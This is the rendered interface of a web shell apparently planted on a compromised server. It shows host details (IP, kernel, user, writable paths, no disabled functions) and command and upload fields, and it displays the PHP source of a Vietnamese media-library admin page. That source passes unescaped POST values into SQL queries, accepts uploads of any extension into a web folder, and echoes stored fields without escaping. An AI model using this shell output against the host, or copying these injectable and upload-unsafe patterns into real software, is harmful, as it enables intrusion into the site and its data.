403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/admin2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/admin2/thuvienanh.php
<?php
include '../configchannel.php';
include 'configtotal.php';
if(isset($_POST['MD5']) || isset($_POST['Id']))
{
	if(isset($_POST['MD5']) && !empty($_POST['MD5']))
	{
		$fileNew = $_POST['MD5'];
		$dataInsert = array(
			'TenBaiHat' => mysql_real_escape_string($_POST['TenBaiHat']),
			'Label' => mysql_real_escape_string($_POST['Label']),
			'UrlBaiHat' => mysql_real_escape_string($_POST['UrlBaiHat']),
			'LinkMP3' => mysql_real_escape_string($_POST['LinkMP3']),
			'NoiDungKhang' => mysql_real_escape_string($_POST['NoiDungKhang'])
		);
		Update('NhacGiayTo', $dataInsert, '`MD5` LIKE "' . $_POST['MD5'] . '"');
	}
	else
	{
		$fileNew = md5(mysql_real_escape_string($_POST['TenBaiHat'] . $_POST['Label'] . $_POST['UrlBaiHat']));
		$dataInsert = array(
			'TenBaiHat' => mysql_real_escape_string($_POST['TenBaiHat']),
			'Label' => mysql_real_escape_string($_POST['Label']),
			'UrlBaiHat' => mysql_real_escape_string($_POST['UrlBaiHat']),
			'LinkMP3' => mysql_real_escape_string($_POST['LinkMP3']),
			'NoiDungKhang' => mysql_real_escape_string($_POST['NoiDungKhang']),
			'MD5' => $fileNew
		);
		Update('NhacGiayTo', $dataInsert, '`Id` = ' . $_POST['Id'] . '');
	}
	// SAVE CONTRACT
	if(isset($_FILES['fileContract']['name']))
	{
		// SAVE CONTRACT
		$info = pathinfo($_FILES['fileContract']['name']);
		$ext = $info['extension']; // get the extension of the file
		$newname = $fileNew . "_contract.".$ext; 

		$targetContract = 'thuviennhac/'.$newname;
		move_uploaded_file( $_FILES['fileContract']['tmp_name'], $targetContract);
	}
	$_SESSION['thongbao'] = 'EDIT thành công';                                                                                                                                                                                            
	Header( "Location: https://rubymedia.studio/admin/thuvienanh.php" );
	exit;
}
else if(isset($_GET['delete']))
{
	Delete('ThuVienAnh', '`id` = ' . mysql_real_escape_string($_GET['delete']) . '');
	$_SESSION['thongbao'] = 'Xóa Ảnh thành công';
	Header( "Location: https://rubymedia.studio/admin/thuvienanh.php");
	exit;
}
else if(isset($_POST['tenChuDe']))
{
	// SAVE CONTRACT
	$info = pathinfo($_FILES['fileAnh']['name']);
	$ext = $info['extension']; // get the extension of the file
	if($ext != "jpg") 
	{
		$_SESSION['thongbao'] = 'ADD Ảnh ERROR';
		Header( "Location: https://rubymedia.studio/admin/thuvienanh.php");
		exit;
	}
	$dataInsert = array(
		'NguoiLam' => mysql_real_escape_string($_SESSION['login']['id']),
		'Tags' => mysql_real_escape_string($_POST['tenChuDe']),
		'LinkMP4' => mysql_real_escape_string($_POST['linkMP4']),
		'LinkProject' => mysql_real_escape_string($_POST['linkProject']),
		'TenTacGia'  => mysql_real_escape_string($_POST['tenTacGia']),
	);
	$idinsert = Insert('ThuVienAnh', $dataInsert);
	// SAVE CONTRACT
	if(isset($_FILES['fileAnh']['name']))
	{
		
		
		$newname = md5($idinsert) . ".jpg"; 

		$targetAnh = 'thuvienanh/' . $newname;
		move_uploaded_file( $_FILES['fileAnh']['tmp_name'], $targetAnh);
	}
	$_SESSION['thongbao'] = 'ADD Ảnh thành công';
	Header( "Location: https://rubymedia.studio/admin/thuvienanh.php");
	exit;
}
else if(isset($_POST['linkVideoUsing']))
{
	$idvideoyoutube = preg_match("/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user|shorts)\/))([^\?&\"'>]+)/", $_POST['linkVideoUsing'], $matches);
	if($idvideoyoutube)
	{
		$dataInsert = array(
			'NguoiSuDung' => mysql_real_escape_string($_SESSION['login']['id']),
			'VideoSuDung' => mysql_real_escape_string($_POST['linkVideoUsing']),
			'IdPic' => mysql_real_escape_string($_POST['idPic'])
		);
		$idinsert = Insert('ThuVienAnh_SuDung', $dataInsert);
		$_SESSION['thongbao'] = 'ADD Sử Dụng Thành Công';
	}
	
	Header( "Location: https://rubymedia.studio/admin/thuvienanh.php");
	exit;
}
?>

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="A fully featured admin theme which can be used to build CRM, CMS, etc.">
        <meta name="author" content="Coderthemes">

        <link rel="shortcut icon" href="assets/images/favicon_1.ico">

        <title>Ruby Media</title>

        <!--Morris Chart CSS -->
		<link href="assets/plugins/custombox/css/custombox.css" rel="stylesheet">

        <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />

        <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
        <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
        <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
        <![endif]-->

        <script src="assets/js/modernizr.min.js"></script>
        <script>
		var phantuTruoc = "";
		function playAudio(phantu) { 
			try {
				var x = document.getElementById(phantuTruoc); 
				document.getElementById(phantuTruoc + "_icon").setAttribute("class", "md md-play-arrow");
				document.getElementById(phantuTruoc + "_changed").setAttribute("onclick", "playAudio('"+phantuTruoc+"')");
				x.pause(); 
			}
			catch(err) {
			}
			phantuTruoc = phantu;
			var x = document.getElementById(phantu); 
			document.getElementById(phantu + "_icon").setAttribute("class", "md md-pause");; 
			document.getElementById(phantu + "_changed").setAttribute("onclick", "pauseAudio('"+phantu+"')");
			x.play(); 
		} 

		function pauseAudio(phantu) {
			var x = document.getElementById(phantu); 
			document.getElementById(phantu + "_icon").setAttribute("class", "md md-play-arrow");
			document.getElementById(phantu + "_changed").setAttribute("onclick", "playAudio('"+phantu+"')");
			x.pause(); 
		} 
		</script>
		<script>
			function copyText(id) 
			{
				var copyText = document.getElementById(id); 
				copyText.select();
				copyText.setSelectionRange(0, 99999);
				document.execCommand("copy");
				alert("Đã copy");
			}
		</script>
    </head>


    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <!-- ========== Left Sidebar Start ========== -->

            <?php  include 'header/taskbar.php'; ?>
            <!-- Left Sidebar End --> 



            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->                      
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">

                        <!-- Page-Title -->
                        <div class="row">
                            <div class="col-sm-12">
                                <h4 class="page-title">THƯ VIỆN ẢNH</h4>
                                <ol class="breadcrumb">
                                    <li><a href="#">Ruby Media</a></li>
                                    <li class="active">Thư Viên Ảnh</li>
                                </ol>
                            </div>
                        </div>
                        <div class="row">
							<div class="col-sm-12">
								<div class="card-box table-responsive">
									<div class="row">
			                        	<div class="col-sm-4">
			                        		 <a href="#custom-modal" class="btn btn-default btn-md waves-effect waves-light m-b-30" data-animation="fadein" data-plugin="custommodal" 
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a"><i class="md md-add"></i> Thêm Ảnh</a>
			                        	</div>
			                        </div>
									<?php 
									$result = Select('ThuVienAnh', false, "", "Id DESC");
									while($res = mysqli_fetch_array($result)) :
									$solansudung = Select('ThuVienAnh_SuDung', true, "`IdPic` = " . $res['id']);
									?>
										<div class="col-md-6 col-sm-6 col-lg-3">
											<div class="card-box widget-box-1 bg-white">
												<div class="bg-light" style=" margin-bottom: 10px; ">
													<img src="thuvienanh/<?php echo md5($res['id']); ?>.jpg" style="width: 100%;">
												</div>
												<div class="col-lg-7">
													<div class="bg-light" >
														<p class="text-muted"><b style="font-weight: bold;">Tác Giả:</b> <?php echo $res['TenTacGia']; ?></p>
														<p class="text-muted"><b style="font-weight: bold;">VIDEO MP4:</b> <a href="<?php echo $res['LinkMP4']; ?>" target="_blank">DOWNLOAD</a></p>
														<p class="text-muted"><b style="font-weight: bold;">Chủ Đề:</b> <?php echo $res['Tags']; ?></p>
														<p class="text-muted"><b style="font-weight: bold;">Số Lần Sử Dụng:</b> <?php echo $solansudung; ?> Lần</p>
														<?php
															$phpdate = strtotime( $res['NgayUpload'] );
															$mysqldate = date( 'd-m-Y', $phpdate );
														?>
														<p class="text-muted"><b style="font-weight: bold;">Tải Lên Lúc:</b> <?php echo $mysqldate; ?></p>
													</div>
												</div>
												<?php if($_SESSION['login']['id'] == $res['NguoiLam']) : ?>
												<div class="col-lg-3">
													<a href="#custom-modal-<?php echo $res['id']; ?>" class="btn btn-default waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" 
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a" style=" margin-top: 1px; "> VIDEO SỬ DỤNG</a>
																	<a href="thuvienanh.php?delete=<?php echo $res['id'] ?>" class="btn btn-danger waves-effect waves-light"
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a" style=" margin-top: 1px; "> DELETE</a>
												</div>
												<div style="clear: both;"></div>
												<div id="custom-modal-<?php echo $res['id']; ?>" class="modal-demo">
													<button type="button" class="close" onclick="Custombox.close();">
														<span>&times;</span><span class="sr-only">Close</span>
													</button>
													<h4 class="custom-modal-title">DANH SÁCH VIDEO KÊNH SỬ DỤNG</h4>
													<div class="custom-modal-text text-left">
														<div class="card-box">
																	<div class="table-responsive">
																		<table class="table table-hover mails m-0 table table-actions-bar">
																			<thead>
																				<tr>
																					<th>#</th>
																					<th>Người Sử Dụng</th>
																					<th>Video Sử Dụng</th>
																				</tr>
																			</thead>
																				<?php
																					$demvideo = 1;
																					$listvideosudung = Select('ThuVienAnh_SuDung', false, "`idPic` = " + $res['id']);
																				?>
																				<?php while($resvideo = mysqli_fetch_array($listvideosudung)) : ?>
																				<tr>
																					<td><?php echo $demvideo++; ?></td>
																					<td>
																					<?php 
																						$resultNguoiLam = Select('NguoiLam', false, "`id` = " . $resvideo['NguoiSuDung']);
																						$tennguoidung = mysqli_fetch_assoc($resultNguoiLam);
																						echo $tennguoidung['TenNhanVien'];
																					?>
																					</td>
																					<td> <a href="<?php echo $resvideo['VideoSuDung']; ?>" target="_blank"><?php echo $resvideo['VideoSuDung']; ?></a></td>
																				</tr>
																				<?php endwhile; ?>
																			<tbody>
																			</tbody>
																		</table>
																	</div>
																</div>
													</div>
												</div>
												<?php else : ?>
												<div class="col-lg-3">
													<a href="#custom-modal-<?php echo $res['id']; ?>" class="btn btn-default waves-effect waves-light" data-animation="fadein" data-plugin="custommodal" 
			                                                    	data-overlaySpeed="200" data-overlayColor="#36404a" style=" margin-top: 1px; "> SỬ DỤNG</a>
												</div>
												<div style="clear: both;"></div>
												<div id="custom-modal-<?php echo $res['id']; ?>" class="modal-demo">
													<button type="button" class="close" onclick="Custombox.close();">
														<span>&times;</span><span class="sr-only">Close</span>
													</button>
													<h4 class="custom-modal-title">Thêm Video Sử Dụng</h4>
													<div class="custom-modal-text text-left">
														<form role="form" method="POST" enctype="multipart/form-data">
															<div class="form-group">
																<input type="text" class="form-control" name="linkVideoUsing" placeholder="Nhập link video đã upload lên kênh">
															</div>
															<input type="hidden" value="<?php echo $res['id']; ?>" name="idPic"/>
															<button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
															<button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
														</form>
													</div>
												</div>
												<?php endif; ?>
												
											</div>
											
										</div>
									<?php endwhile; ?>
								</div>
								
							</div>
						</div>
						
                    </div> <!-- container -->
                               
                </div> <!-- content -->

                <?php  include 'header/footer.php'; ?>

            </div>
            
            
            <!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="Custombox.close();">
			        <span>&times;</span><span class="sr-only">Close</span>
			    </button>
			    <h4 class="custom-modal-title">Thêm Ảnh</h4>
			    <div class="custom-modal-text text-left">
			        <form role="form" method="POST" enctype="multipart/form-data">
			        	<div class="form-group">
                            <label for="name">Chủ Đề Ảnh</label>
                            <input type="text" class="form-control" name="tenChuDe" placeholder="Nhập tên chủ đề">
                        </div>
						<div class="form-group">
                            <label class="control-label">File Ảnh JPEG</label>
							<input type="file" class="filestyle" name="fileAnh" id="fileAnh" data-buttonname="btn-white">
                        </div>
						<div class="form-group">
                            <label for="name">Link Tải MP4</label>
                            <input type="text" class="form-control" name="linkMP4" placeholder="Nhập link MP4">
                        </div>
						<div class="form-group">
                            <label for="name">Link Tải Project</label>
                            <input type="text" class="form-control" name="linkProject" placeholder="Nhập link project">
                        </div>
						<div class="form-group">
                            <label for="name">Tác Giả</label>
                            <input type="text" class="form-control" name="tenTacGia" placeholder="Nhập tên tác giả" value="<?php echo $_SESSION['login']['TenNhanVien'] ?>" readonly style=" color: #000000a1; ">
                        </div>
                        <button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
                        <button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
                    </form>
			    </div>
			</div>
            
            
            
            <!-- /Right-bar -->

        </div>
        <!-- END wrapper -->


    
        <script>
            var resizefunc = [];
        </script>

        <!-- jQuery  -->
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/detect.js"></script>
        <script src="assets/js/fastclick.js"></script>
        <script src="assets/js/jquery.slimscroll.js"></script>
        <script src="assets/js/jquery.blockUI.js"></script>
        <script src="assets/js/waves.js"></script>
        <script src="assets/js/wow.min.js"></script>
        <script src="assets/js/jquery.nicescroll.js"></script>
        <script src="assets/js/jquery.scrollTo.min.js"></script>


        <!-- Modal-Effect -->
        <script src="assets/plugins/custombox/js/custombox.min.js"></script>
        <script src="assets/plugins/custombox/js/legacy.min.js"></script>
		<script src="assets/plugins/bootstrap-tagsinput/js/bootstrap-tagsinput.min.js"></script>
        <script src="assets/plugins/switchery/js/switchery.min.js"></script>
        <script type="text/javascript" src="assets/plugins/multiselect/js/jquery.multi-select.js"></script>
        <script type="text/javascript" src="assets/plugins/jquery-quicksearch/jquery.quicksearch.js"></script>
        <script src="assets/plugins/select2/js/select2.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-select/js/bootstrap-select.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-filestyle/js/bootstrap-filestyle.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-touchspin/js/jquery.bootstrap-touchspin.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-maxlength/bootstrap-maxlength.min.js" type="text/javascript"></script>
<script src="assets/plugins/datatables/jquery.dataTables.min.js"></script>
<script src="assets/plugins/datatables/dataTables.bootstrap.js"></script>

<script src="assets/plugins/datatables/dataTables.buttons.min.js"></script>
<script src="assets/plugins/datatables/buttons.bootstrap.min.js"></script>
<script src="assets/plugins/datatables/jszip.min.js"></script>
<script src="assets/plugins/datatables/pdfmake.min.js"></script>
<script src="assets/plugins/datatables/vfs_fonts.js"></script>
<script src="assets/plugins/datatables/buttons.html5.min.js"></script>
<script src="assets/plugins/datatables/buttons.print.min.js"></script>
<script src="assets/plugins/datatables/dataTables.fixedHeader.min.js"></script>
<script src="assets/plugins/datatables/dataTables.keyTable.min.js"></script>
<script src="assets/plugins/datatables/dataTables.responsive.min.js"></script>
<script src="assets/plugins/datatables/responsive.bootstrap.min.js"></script>
<script src="assets/plugins/datatables/dataTables.scroller.min.js"></script>
<script src="assets/plugins/datatables/dataTables.colVis.js"></script>
<script src="assets/plugins/datatables/dataTables.fixedColumns.min.js"></script>

<script src="assets/pages/datatables.init.js"></script>


<script src="assets/js/jquery.core.js"></script>
<script src="assets/js/jquery.app.js"></script>


<script type="text/javascript">
    $(document).ready(function () {
        $('#datatable').dataTable();
        $('#datatable-keytable').DataTable({keys: true});
        $('#datatable-responsive').DataTable();
        $('#datatable-colvid').DataTable({
            "dom": 'C<"clear">lfrtip',
            "colVis": {
                "buttonText": "Change columns"
            }
        });
    });
    TableManageButtons.init();

</script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit